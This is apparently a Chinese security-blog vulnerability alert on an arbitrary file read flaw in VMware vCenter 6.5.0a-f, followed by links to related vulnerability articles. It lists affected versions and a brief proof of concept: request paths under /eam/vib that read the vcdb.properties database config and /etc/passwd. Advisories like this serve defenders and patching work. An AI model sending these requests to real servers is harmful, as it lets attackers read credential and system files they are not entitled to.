【漏洞预警】VMware vCenter任意文件读取漏洞

作者: migrate_ | 来源:发表于2020-10-15 16:21 被阅读0次

【漏洞预警】VMware vCenter任意文件读取漏洞
2021-02-26Vmware vcenter未授权任意文件上
任意文件查看与下载漏洞
FFmpeg本地任意文件读取漏洞 / FFmpeg Local
CTFer成长之路-Web入门之任意文件读取漏洞
2021-01-15Apache Flink (文件写入漏洞/文
Discuz!X ≤3.4 任意文件删除漏洞
phpcms v9.6.2 sqli注入漏洞分析
【漏洞复现】FFMPEG 任意文件读取漏洞
phpcmsv9.6.1 任意文件读取漏洞

仅供交流与学习使用，请勿用于非法用途

VMware vCenter特定版本存在任意文件读取漏洞，攻击者通过构造特定的请求，可以读取服务器上任意文件。

影响范围

已知影响版本
VMware vCenter 6.5.0a-f
安全版本
VMware vCenter 6.5u1

vmware-vCenter

poc

/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
#linux
/eam/vib?id=/etc/passwd

【漏洞预警】VMware vCenter任意文件读取漏洞
仅供交流与学习使用，请勿用于非法用途 VMware vCenter特定版本存在任意文件读取漏洞，攻击者通过构造特定...
2021-02-26Vmware vcenter未授权任意文件上
Vmware vcenter未授权任意文件上传 (CVE-2021-21972) 一、漏洞简介 VMware是一家...
任意文件查看与下载漏洞
漏洞介绍利用条件漏洞危害任意文件读取代码形式可如下几种：任意文件下载直接下载：用header()下载...
FFmpeg本地任意文件读取漏洞 / FFmpeg Local
FFmpeg本地任意文件读取漏洞漏洞原理 FFmpeg 进行视频转码的时候，使用了 concat 协议中的 ‘ ...
CTFer成长之路-Web入门之任意文件读取漏洞
任意文件读取漏洞所谓文件读取漏洞，就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。从整个攻击过程来...
2021-01-15Apache Flink (文件写入漏洞/文
Apache Flink (文件写入漏洞/文件读取漏洞) CVE-2020-17518/17519 一、漏洞描...
Discuz!X ≤3.4 任意文件删除漏洞
Discuz!X ≤3.4 任意文件删除漏洞 1.漏洞影响版本 Discuz!X ≤3.4 2.漏洞危害任意文件...
phpcms v9.6.2 sqli注入漏洞分析
phpcms v9.6.2 再次同时爆出sqli注入漏洞和一个任意文件读取漏洞，继续分析一波。这次sqli注入...
【漏洞复现】FFMPEG 任意文件读取漏洞
0x01 漏洞用途如果某场景使用ffmpeg版本小于3.2.4，并且有上传用户自定义avi视频的时候，利用该漏洞...
phpcmsv9.6.1 任意文件读取漏洞
phpcms v9.6.1 爆出的任意文件读取漏洞，来一起分析以下，这次漏洞可以说和9.6.0爆出来的sqli注...